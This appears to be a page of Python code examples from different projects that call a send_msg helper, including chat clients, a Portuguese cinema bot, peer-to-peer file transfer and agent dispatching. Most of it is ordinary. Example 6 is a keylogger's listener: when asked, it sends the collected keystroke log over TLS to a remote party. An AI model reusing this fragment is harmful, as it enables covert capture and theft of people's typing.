Esempio n. 1
0
def main():
    s = socket.socket()
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((sys.argv[1], 9999))
    s.listen(10)

    print("starting server...")

    while True:
        try:
            while True:
                sc, address = s.accept()
                print("accepted " + str(address))

                message = utils.recv_msg(sc)
                parsed_message = parser.RequestMessageParser.parse(message)
                handler_response = handler.RequestHandler.handle(parsed_message)
                utils.send_msg(sc, handler_response)
                sc.close()

            s.close()
        except Exception:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            lines = traceback.format_exception(exc_type, exc_value, exc_traceback)
            print(''.join('!! ' + line for line in lines))
Esempio n. 2
0
 def init_socks(self):
     """Connect sockets with users whose id is less than me."""
     if self.group_leader_id is None:  # I start the chat, should send request to other users
         for user in self.other_user.values():
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             sock.connect((user.ip, user.port))
             self.socks[user.user_id] = sock
             sock.setblocking(False)
             utils.send_msg(
                 sock,
                 utils.encode_message(self.name, self.me_user.port, 4,
                                      self.me_user.user_id, '', 0))
     else:  # should send response to those whose user_id is larger than me
         time.sleep(
             1)  # wait for everyone to first create a GroupChat and update
         for user in self.other_user.values():
             if self.me_user.user_id > user.user_id or user.user_id == self.group_leader_id:
                 continue
             sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             sock.connect((user.ip, user.port))
             self.socks[user.user_id] = sock
             sock.setblocking(False)
             utils.send_msg(
                 sock,
                 utils.encode_message(self.name, self.me_user.port, 6,
                                      self.me_user.user_id, '', 0))
Esempio n. 3
0
        def check():
            self.selected_file = text_source.get()
            ##########################################################3

            msg = "SEARCH: " + self.selected_file + "\n\0"
            send_msg(self.server, msg)

            lines = communicate(self.server, self.buffer)
            fields = lines[0].split(" ")
            cmd = fields[0]

            if cmd == "FOUND:":
                for line in lines[1:]:
                    self.server_files.append(line)

            if len(self.server_files) == 0:
                self.server_files = []
                text_source.delete(0, tk.END)
                text_source.insert(
                    0, "This file does not exist. Provide another.")
            else:
                exit_button.pack_forget()
                search_button['state'] = 'disabled'
                self.download_file()
                return
Esempio n. 4
0
def movie_of_movies_by_cinema(idChat, m):
    '''Pretty print of a movie from movies of a cinema
    :param: a movie
    '''
    s = bold('Título: ') + m['Portuguese title'] + "\n"
    s += bold('IMDB Rating: ') + m['IMDB Rating']
    send_msg(idChat, s)
Esempio n. 5
0
    def send(self):
        ##########################################################3
        # send "HELLO" to server
        send_msg(self.server, "HELLO {} {}\n\0".format(self.lhost, self.lport))
        print("I HAVE SENT MSG HELLO")
        lines = communicate(self.server, self.buffer)
        fields = lines[0].split(" ")
        cmd = fields[0]
        # [name, path, ext, size, date]
        if cmd == "HI":
            client_name = fields[1]
            list_msg = "LIST \n"
            for file in self.database:
                file_str = construct_file_str(file, client_name)
                list_msg += file_str + "\n"
            list_msg += "\0"
            send_msg(self.server, list_msg)

        print("my buffer: ", self.buffer)
        lines = communicate(self.server, self.buffer)
        fields = lines[0].split(" ")
        cmd = fields[0]

        print("received ", cmd)
        if cmd == "ACCEPTED":
            self.search()
Esempio n. 6
0
def listen():
    """
    Listens for incoming connection by the serber and sends him the keylog when requested. All encrypted.
    """
    global CERT_FILE, connected, log
    listener = socket.socket()
    utils.set_keepalive(listener)
    listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    listener.bind(("", HOST_PORT))
    listener.listen(1)
    while True:
        conn, _ = listener.accept()
        connected = True
        conn = ssl.wrap_socket(
            sock=conn, ca_certs=CERT_FILE, cert_reqs=ssl.CERT_REQUIRED)
        while True:
            try:
                if utils.recv_msg(conn) == "send file":
                    utils.send_msg(conn, log)
                    log = ""
            except (socket.timeout, socket.error):
                conn.close()
                connected = False
                break
    listener.close()
Esempio n. 7
0
def ask_cinema(idChat, content, cat):
    '''Ask user to select a cinema
    :param: id chat
    :param: content to filter
    :param: category detected
    '''
    n = 1
    m = 'Escolha um dos cinemas:\n'
    m += "    0. Nenhuma das hipóteses\n"
    cinemas = []

    for c in content:
        m += "    " + str(n) + ". " + c + "\n"
        cl = clean_msg(c)
        words = cl.split()
        l = len(words)
        s = set()
        while l > 0:
            s.add(" ".join(words[0:l]))
            l -= 1
            s.add(words[l])
        for w in list(s):
            cinemas.append({'choice': n, 'match': w})
        n += 1

    m += "Indique o número ou o nome do cinema."
    globals.redis_db.set(
        "content" + str(idChat),
        json.dumps({
            'cat': cat,
            'value': content,
            'keys': cinemas
        }))
    send_msg(idChat, m)
Esempio n. 8
0
 def start_pubsub_listener():
     for m in self.sub.listen():
         if m.get("type") == "message":
             channel = m['channel']
             msg = json.loads(m['data'])
             # self.pubsub_queue.append((channel, msg))
             if channel == 'dispatching' and msg[
                     'type'] == 'need switch':  # from agents
                 # TODO decide whether and who to switch
                 with socket.socket(socket.AF_INET,
                                    socket.SOCK_STREAM) as ss:
                     ss.connect(('127.0.0.1', utils.PORT['PA start']))
                     ss.send(
                         json.dumps({
                             'type': 'switch request'
                         }).encode())
                 for port in range(7000, 7037):
                     with socket.socket(socket.AF_INET,
                                        socket.SOCK_STREAM) as ss:
                         ss.connect(('127.0.0.1', port))
                         ss.send(
                             json.dumps({
                                 'type': 'switch request'
                             }).encode())
             elif channel == 'dispatching' and msg[
                     'type'] == 'plan request':
                 send_msg(
                     (utils.IP['scheduler'], utils.PORT['scheduler']),
                     msg)
Esempio n. 9
0
 def start_socket_listener():
     with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
         s.bind((self.ip, self.port))
         s.listen()
         while True:
             conn, addr = s.accept()
             with conn:
                 while True:
                     data = conn.recv(1024)
                     if not data:
                         break
                     msg = json.loads(data.decode())
                     self.message_queue.append(msg)
                     if msg['type'] == 'plan request':
                         print('CC receive plan request {}, {}'.format(msg['start'], msg['task']))
                         coord_addr = utils.IP['coordinator'], utils.PORT['coordinator']
                         # sample response
                         # {'type': 'plan',
                         # 'path': [[[40, 68], ['127.0.0.1', 7034], 'RobotM12'],
                         #          [[40, 72], ['127.0.0.1', 7000], 'BufferB1'],
                         #          [[30, 100], ['127.0.0.1', 7028], 'RobotB1']
                         #          ],
                         # 'processing machine': [['127.0.0.1', 7008], 'MachineA']
                         # }
                         send_msg(coord_addr, self.optimized_plan[(tuple(msg['start']), msg['task'])])
Esempio n. 10
0
 def send_file_message(self, file_message, sock):
     """Send file message via client_sock.
     Split the file into different packages,
         first send 'type_id_filename', then send packages.
     """
     # send notification message
     utils.send_msg(
         sock,
         utils.encode_message(self.name, self.me_user.port, 2,
                              self.me_user.user_id, file_message.path,
                              file_message.size))
     # start send file packages
     file = open(file_message.path, 'rb')
     while True:
         package = file.read(config.MAX_PACKAGE_SIZE)
         if not package:  # file send over
             break
         while True:
             try:
                 sock.send(package)
                 break
             except BlockingIOError:
                 time.sleep(0.001)
     file.close()
     return DisplayMessage(
         file_message.sender_icon, file_message.sender_id, file_message.t,
         2, 'File {} send success!'.format(file_message.path))
Esempio n. 11
0
 def send_log_out_message(self):
     """Delete other user as your friend, send a message to inform."""
     for sock in self.socks.values():
         utils.send_msg(
             sock,
             utils.encode_message(self.name, self.me_user.port, 8,
                                  self.me_user.user_id, '', 0))
Esempio n. 12
0
def send_command(args, callback=lambda sock: print("Connected", sock)):
    """connects to the server and sends the command

    :param args:   this object is similar to the one parsed from the commandline,
        contains "host" and "port" members
    :param callback(sock, respjson): a function to call when connected to the server.
        sock:   Gets passed the socket object, the socket object at this point is already connected and is ready to send or recv.
    :return the callback result
    """

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        print('connecting to server...', end='')
        s.connect((args['host'], args['port']))  # connect
        print('\rConnection established                       ')

        args['auth'] = False
        # setup IV
        args['iv'] = secrets.token_bytes(16)
        request_json = format_args_to_json(args)

        # send the command/request json
        send_msg(s, _string_to_bytes(request_json))

        # check if server acknowledged the command
        # (if resp is included in one of the success response codes)
        resp = recv_msg(s)
        resp_json = json.loads(_bytes_to_string(resp))
        if resp_json['readystate'] in [202]:
            res = callback(s)

            send_msg(s, b'200')  # send OK code
            print('\nTransaction complete')
            return res
Esempio n. 13
0
def intermediate(update, context):
    logger.info("Intermediate ")
    choice = update.message.text
    choice_dict = {
        '📚 SEND BOOK REQUESTS': 0,
        '✍️ Submit your writing': 1,
        '📝 Send Us Feedback': 2,
        '🏴‍☠️ ADMIN Features': 3,
        "Cancel": 4
    }

    switch = choice_dict.get(choice)
    if switch == 0:
        book_request(update, context)
    elif switch == 1:
        Submit_essay(update, context)
    elif switch == 2:
        feedback(update, context)
    elif switch == 3:
        Admin_features(update, context)
    elif switch == 4:
        cancel_cmd(update, context)

    else:
        send_msg(update, context, text="")
Esempio n. 14
0
def process_content(idChat, msg, content):
    '''Process content for cases when we want to filter the content
    :param: id chat
    :param: user message
    :param: content to filter
    '''
    globals.redis_db.delete("content" + str(idChat))
    m = clean_msg(msg)
    if not re.search(r'^\s*0\s*$', m) and not re.search(
            r'\bnenhuma das hipoteses\b', m) and not re.search(
                r'\bnenhuma?\b', m):
        num = re.search(r'^\s*([0-9]+)\s*$', msg)
        if num:
            num = num.group(1)
            process_content_num(idChat, content, int(num))
        else:
            i = 0
            n = len(content['keys'])
            found = False
            while i < n and not found:
                if re.search(r'\b' + content['keys'][i]['match'] + r'\b', msg):
                    found = True
                    process_content_num(idChat, content,
                                        content['keys'][i]['choice'])
                i += 1
            if not found:
                process_content_num(idChat, content, n + 1)
    else:
        send_msg(idChat, prefab_msgs["request"][0])
Esempio n. 15
0
def logout(conn, addr, ms):
    user = get_user_by_addr(addr, USERS)
    if user:
        del USERS[user]
    ms.get_messages_for_user(user)
    send_msg(conn, b"U've been successfully logouted")
    print("[+] {}({}) logouted".format(user, addr_to_str(addr)))
Esempio n. 16
0
    def distributed_mode(self):
        print('{} run in distributed mode'.format(self.name))
        start_time = time.time()
        while self.next_task_index < len(self.tasks):
            task = self.tasks[self.next_task_index]
            # check if needs to switch mode
            if self.need_switch:
                self.switch_to_centralized()
                return
            # find a bidder for task
            bids = []
            while not bids:
                self.announce_task(task)
                bids = self.wait_for_bid(task)
            best_bid = self.find_best_bid(bids)
            self.confirm_bid(task, best_bid['RA name'])

            # figure out topology
            self.announce_task('transport')
            bids = self.wait_for_bid('transport')
            ra_team = self.find_path(bids, tuple(best_bid['RA location']))

            # confirm all transport RAs on the chosen path
            for bid, pos in ra_team:
                self.confirm_bid('transport', bid['RA name'], task_info={'start': self.current_pos, 'destination': pos})

            # send control command to transport RAs one by one
            for bid, pos in ra_team:
                send_msg(bid['RA address'], {'type': 'order',
                                             'task': 'transport',
                                             'start': self.current_pos,
                                             'destination': pos,
                                             'PA address': (self.ip, self.port),
                                             'PA name': self.name
                                             })
                if_finished = self.wait_for_finish(bid['RA name'],
                                                   (distance(self.current_pos, pos) / bid['velocity']))
                # TODO handle timeout
                if not if_finished:
                    print('PA end')
                    return
                self.current_pos = pos

            # send control command to processing RA
            send_msg(best_bid['RA address'], {'type': 'order',
                                              'task': task,
                                              'PA address': (self.ip, self.port),
                                              'PA name': self.name
                                              })

            if_finished = self.wait_for_finish(best_bid['RA name'], best_bid['processing time'], timeout=200)
            # TODO handle timeout
            if not if_finished:
                print('PA end')
                return
            self.current_pos = tuple(best_bid['RA location'])
            self.next_task_index += 1

        print('{} finished in {}s'.format(self.name, time.time() - start_time))
Esempio n. 17
0
 def send_text_message(self, text_message, sock):
     """Send text message via client_sock."""
     utils.send_msg(
         sock,
         utils.encode_message(self.name, self.me_user.port, 0,
                              self.me_user.user_id, text_message.text, 0))
     return DisplayMessage(text_message.sender_icon, text_message.sender_id,
                           text_message.t, 0, text_message.text)
Esempio n. 18
0
def give_peer(peer, searched_file, requested_file):
    print("GIVE PEER .....")
    requested_file_str = ""
    for rf in requested_file:
        requested_file_str += rf + ","

    # print("req_file")
    print(requested_file)
    print("req_file_str")

    send_msg(peer, "DOWNLOAD: {} {}\n\0".format(searched_file,
                                                requested_file_str))
    print("sent msg DOWNLOAD")
    buffer = ""

    while "\0" not in buffer:
        buffer += peer.recv(4096).decode("utf-8")
        print("received from buffer_1: ", buffer)

    idx = buffer.index("\0")
    msg = buffer[:idx]
    buffer = buffer[idx + 1:]

    fields = msg.split("\n")
    cmd = fields[0]
    if cmd == "FILE:":
        print("DOWNLOADED THE FILE")

        field_str = ""
        for field in fields[1:]:
            field_str += field + "\n"
        file_data = field_str.encode()
        downloaded_file_path = "./downloaded_files/"

        if os.path.exists(downloaded_file_path):
            print("Path exists")

            req_file_type = requested_file[1]

            file_ = downloaded_file_path + searched_file + req_file_type

            file_to_save = open(file_, "wb")
            file_to_save.write(file_data)
            file_to_save.close()

        send_msg(peer, "THANKS\n\0")
        peer.close()
        return

    elif cmd == "ERROR":
        print("here in ERROR")
        return

    else:
        print("invalid command received: \n", cmd)
        # sys.exit(-1)
        return
Esempio n. 19
0
def session_of_sessions_by_movie(idChat, s):
    '''Pretty print of a session from sessions for a specific movie on cinemas
    :param: a session
    '''
    st = bold("Data: ") + s["Start date"] + "\n"
    st += bold("Hora de início: ") + s["Start time"] + "\n"
    st += bold("Lugares disponíveis: ") + s["Availability"] + "\n"
    st += bold("Link de compra: ") + s["Ticket link"] + "\n"
    send_msg(idChat, st)
Esempio n. 20
0
def stop_instance(pre_instance_name, zone, msg, api_key, chat_id):
    ip_adress = get_extrenal_ip(pre_instance_name, zone)
    utils.send_msg(
        chat_id, "Instance {} is stopped | IP: {} | Reason: {}".format(
            pre_instance_name, str(ip_adress), msg), api_key)
    bashCommand = "yes Y | gcloud compute instances stop {} --zone {}".format(
        pre_instance_name, zone)
    stream = os.popen(bashCommand)
    output = stream.read()
Esempio n. 21
0
File: client.py Progetto: stryku/hb
def main():
    s = socket.socket()
    s.connect((sys.argv[1], 9999))
    req = create_request()
    utils.send_msg(s, req)
    resp = utils.recv_msg(s)
    handler.ResponseHandler.handle(resp)
    #print('received response: ' + resp.decode())
    s.close()
Esempio n. 22
0
 def run(self):
     global connection_list
     while True:
         data_queue = global_queue.get()
         for client in connection_list:
             try:
                 utils.send_msg(client.get("connection"), data_queue)
                 #[utils.send_msg(client.get("connection"), data_queue) for client in connection_list]
             except:
                 client.get("connection").close()
Esempio n. 23
0
def session_of_sessions_by_date(idChat, m):
    '''Pretty print of a session from sessions with a specific date on cinemas
    :param: a session
    '''
    s = bold("Filme: ") + m["Movie"] + "\n"
    s += bold("Data: ") + m["Start date"] + "\n"
    s += bold("Hora de início: ") + m["Start time"] + "\n"
    s += bold("Lugares disponíveis: ") + m["Availability"] + "\n"
    s += bold("Link de compra: ") + m["Ticket link"] + "\n"
    send_msg(idChat, s)
Esempio n. 24
0
def get_response(idChat, idUser, msg, name, timestamp, location):
    ''' For a given user message answer him
    :param: id chat
    :param: id user
    :param: user message
    :param: user name
    :param: message timestamp
    :param: user location
    '''
    #save for periodic message
    save_chat_timestamp(idChat, idUser, timestamp)

    if re.match(r'^/start\s*$', msg):
        send_msg(idChat, prefab_msgs["about"][0])
    elif re.match(r'^/help\s*$', msg):
        send_msg(idChat, prefab_msgs["about"][1])
    elif re.match(r'^/reset(\s)*$', msg):
        reset(idChat, idUser, False)
    else:
        contentAux = globals.redis_db.get("content" + str(idChat))
        content = json.loads(contentAux) if contentAux else None

        if content:
            process_content(idChat, msg, content)
        else:
            chatData = fetchChatMetadata(idChat)

            if location:
                if 'previous_state' in chatData:
                    chatData["status"] = "modo regras"
                else:
                    chatData["status"] = ""
                chatData["locationParam"] = location

            if chatData["status"] == "modo regras":
                forward_to(
                    idChat, chatData,
                    get_response_rules(idChat, idUser, msg, name, chatData))
            elif chatData["status"] == "modo problemas":
                globals.redis_db.set(idChat, json.dumps(chatData))
                ntp_answer(idChat, msg, False)
            else:
                m = clean_msg(msg)
                if re.match(r'\bmodo (de )?regras\b', m) or re.match(
                        r'^/interativo$', msg):
                    chatData["status"] = "modo regras"
                    globals.redis_db.set(idChat, json.dumps(chatData))
                    forward_to(
                        idChat, chatData,
                        get_response_rules(idChat, idUser, msg, name,
                                           chatData))
                elif re.match(r'\bver mais\b', m) or re.match(r'^/mais$', msg):
                    ver_mais(idChat)
                else:
                    get_response_default(idChat, idUser, msg, name, chatData)
Esempio n. 25
0
def cinemas(idChat, content, cat):
    '''Pretty print of closest cinemas
    :param: chat id to send the messages to
    :param: content of messages
    '''
    if len(content["cinemas"]):
        s = 'Os cinemas NOS mais perto de ti são:\n'
        s += " - " + "\n - ".join(content["cinemas"])
        send_msg(idChat, s)
    else:
        send_msg(idChat, prefab_msgs["failed"][9])
Esempio n. 26
0
def session_of_next_sessions(idChat, m):
    '''Pretty print of a session from next sessions on cinemas
    :param: a session
    '''
    s = bold("Filme: ") + m["Movie"] + "\n"
    s += bold("Data: ") + m["Start date"] + "\n"
    s += bold("Hora de início: ") + m["Start time"] + "\n"
    s += bold("Lugares disponíveis: ") + m["Availability"] + "\n"
    s += bold("Trailer: ") + m["Trailer"] + "\n"
    s += bold("Link de compra: ") + m["Ticket link"] + "\n"
    send_msg(idChat, s)
Esempio n. 27
0
def on_other_process(sock, model):
    message = Texts.FromString(recv_msg(sock))
    for text in message.texts:
        logger.info(f"input: {text}")
    results = Results(results=[
        Result(**prediction) for prediction in model(list(message.texts))
    ])
    logger.info("sending")
    send_msg(sock, results.SerializeToString())
    sock.close()
    logger.info("done")
Esempio n. 28
0
 def post(self):
     phone = self.get_argument("phone")
     if phone:
         send_msg(phone)
         self.write({
             "status": OK
         })
     else:
         self.write({
             "status": ERROR,
             "msg": "手机号不能为空"
         })
Esempio n. 29
0
def book_request(update, context):
    logger.info("Send Book Request")
    txt = "Do you want to search by Title or Author? Choose Below"
    author = InlineKeyboardButton(text="Search by Author",
                                  callback_data="search-author")
    title = InlineKeyboardButton(text="Search by Title",
                                 callback_data="search-title")

    send_msg(update,
             context,
             text=txt,
             reply_markup=InlineKeyboardMarkup([[title, author]]))
def send_command(args, callback=lambda sock: print("Connected", sock)):
    """connects to the server and sends the command

    :param args:   this object is similar to the one parsed from the commandline,
        contains "host" and "port" members
    :param callback(sock, respjson): a function to call when connected to the server.
        sock:   Gets passed the socket object, the socket object at this point is already connected and is ready to send or recv.
    :return the callback result
    """

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        print('connecting to server...', end='')
        s.connect((args.host, args.port))  # connect
        print('\rConnection established                       ')

        # random initialization vector
        setattr(args, 'iv', secrets.token_bytes(16))

        if not hasattr(args, 'cipherfunc'):
            setattr(args, 'cipherfunc', CipherLib.none)

        ################
        # serialize args
        ################
        import copy
        s_args = copy.deepcopy(vars(args))
        for k, v in s_args.items():
            if isinstance(v,
                          types.FunctionType):  # functions get the name passed
                s_args[k] = v.__name__
            elif isinstance(v, bytes):  # bytes get turned into strings
                s_args[k] = _bytes_to_string(v)

        s_args['cipher'] = s_args.get('cipherfunc', 'none')
        del s_args['key']  # delete key (otherwise is sent in plaintext)

        request_json = json.dumps(s_args)
        print('Sending command: "{}"'.format(request_json))

        # send the command/request json
        send_msg(s, _string_to_bytes(request_json))

        # check if server acknowledged the command
        # (if resp is included in one of the success response codes)
        resp = recv_msg(s)
        resp_json = AttrDict(json.loads(_bytes_to_string(resp)))
        if resp_json.readystate in [202]:
            res = callback(s)

            send_msg(s, b'200')  # send OK code
            print('\nTransaction complete')
            return res
Esempio n. 31
0
    def centralized_mode(self):
        print('{} run in centralized mode'.format(self.name))
        start_time = time.time()
        while self.next_task_index < len(self.tasks):
            task = self.tasks[self.next_task_index]
            # check if needs to switch mode
            if self.need_switch:
                self.switch_to_distributed()
                return
            msg = {'type': 'plan request',
                   'start': self.current_pos,
                   'task': task,
                   'PA address': (self.ip, self.port)}
            self.client.publish('dispatching', json.dumps(msg))

            print('{} ask for central controller plan'.format(self.name))

            if self.dispatch_mode == 'distributed':
                plan = self.wait_for_response('dispatching', 'plan', 10)
                print('{} get plan {}'.format(self.name, plan))

                for pos, ra_addr, ra_name in plan['path']:
                    send_msg(ra_addr, {'type': 'order',
                                       'task': 'transport',
                                       'start': self.current_pos,
                                       'destination': pos,
                                       'PA address': (self.ip, self.port),
                                       'PA name': self.name
                                       })
                    self.wait_for_finish(ra_name, 100)
                    self.current_pos = tuple(pos)

                # send control command to processing RA
                ra_addr, ra_name = plan['processing machine']
                send_msg(ra_addr, {'type': 'order',
                                   'task': self.tasks[self.next_task_index],
                                   'PA address': (self.ip, self.port),
                                   'PA name': self.name
                                   })

                self.wait_for_finish(ra_name, 100)
            else:
                pass  # TODO wait for central controller's finish ack

            self.next_task_index += 1

            # suppose task 1 need distributed mode
            # if self.next_task_index == 1:
            #     print('PA send switch request')
            #     send_msg((utils.IP['coordinator'], utils.PORT['coordinator']), {'type': 'need switch'})
            #     time.sleep(3)
        print('{} finished in {}s'.format(self.name, time.time() - start_time))
Esempio n. 32
0
 def run(self):
     mkdirs("cache_web_pages/html")
     send_msg("开始分析基本面..")
     matchs = self.extract_matchs(str(self.targetUrl))
     self.batch_download_data_pages(matchs)
     for match in matchs:
         msg = "获取初赔 %s" % match["odds_url"]
         send_msg(msg)
         self.parse_odds(match, get_cache_web_file_name(match["odds_url"]))
         msg = "分析基本面 %s" % match["base_face_url"]
         send_msg(msg)
         self.parse_baseface(match, get_cache_web_file_name(match["base_face_url"]))
     self.dataset = matchs
     send_msg("refresh_match_grid");
     send_msg("完成.")
Esempio n. 33
0
 def init(self):
     utils.send_msg(self.connection, sv.map) # mandamos el mapa al cliente
     aux = objects.Object(random.randint(1, sv.map.width-2), random.randint(1, sv.map.height-2), '@') # creamos al jugador
     connection_list.append({"connection": self.connection, "address": self.address, "player": aux}) # añadimos al jugador a la lista
     for client in connection_list: # mandamos el jugador a todos y a nosotros todos los de la lista
         if client.get("address") != self.address:
             utils.send_msg(self.connection, {"type": "ADD", "player": client.get("player"), "address": client.get("address")})
         utils.send_msg(client.get("connection"), {"type": "ADD", "player": aux, "address": self.address})
Esempio n. 34
0
 def handle_keys(self):
     if self.st.server_response: # si el servidor ya nos ha respondido
         key = libtcod.console_check_for_keypress() # esperamos la pulsación
         if not self.clientChat.enabled: # si el chat no esta en marcha
             if key.vk == libtcod.KEY_ESCAPE: # salimos del juego
                 utils.send_msg(self.clientSock, key)
                 self.st.server_response = False
                 return 0
             elif key.vk == libtcod.KEY_UP or key.vk == libtcod.KEY_DOWN or key.vk == libtcod.KEY_LEFT or key.vk == libtcod.KEY_RIGHT:
                 self.st.server_response = False
             elif key.c == 99: # si se ha pulsado la 'c'
                 self.clientChat.enabled = True # habilitamos el chat
             utils.send_msg(self.clientSock, key) # mandamos la pulsación
         else: # si el chat está habilitado
             if key.vk == libtcod.KEY_ENTER: # mandamos la cadena si no está vacía
                 if self.clientChat.string != "":
                     utils.send_msg(self.clientSock, self.clientChat.name+self.clientChat.string)
                     self.st.server_response = False
                 self.clientChat.reset()
             elif key.c != 0: # escribimos en el chatbox
                 self.clientChat.buffer(key.c)
     return 2
Esempio n. 35
0
 def closeEvent(self,evt):
     send_msg("close_message_loop")
     if self.message_loop_task:
         self.message_loop_task.exit()
Esempio n. 36
0
 def keyReleaseEvent(self,evt):
     if evt.key()==QtCore.Qt.Key_Enter or evt.key()==QtCore.Qt.Key_Return:
         send_msg("trigger_matchs_analyze")
Esempio n. 37
0
 def emit(self, data=None):
     send_msg(self._socket, self._out_streams, self._component_name, data)
     self._tuple_count += 1
Esempio n. 38
0
 def run(self):
     if DownloadHistoryMatch.START_DATE=="":
         self.backup_data()
         create_history_db()
     mkdirs("cache_web_pages/html")
     send_msg("分析比赛..")
     urls = self.last_days()
     for url in urls:
         #write_file("cache_history_data_startdate.log",day_format)
         self.targetUrl = url#"http://live.500.com/wanchang.php?e=" + day_format
         send_msg("获取赛事链接 " + self.targetUrl)
         matchs = self.extract_matchs(self.targetUrl)
         self.batch_download_data_pages(matchs)
         for match in matchs:
             msg = "分析赔率 %s" % match["odds_url"]
             send_msg(msg)
             self.parse_odds(match, get_cache_web_file_name(match["odds_url"]))
             msg = "分析基本面 %s" % match["base_face_url"]
             send_msg(msg)
             self.parse_baseface(match, get_cache_web_file_name(match["base_face_url"]))
         self.dataset = matchs
         send_msg("cache_history_data");
     send_msg("completed")
     send_msg("完成.")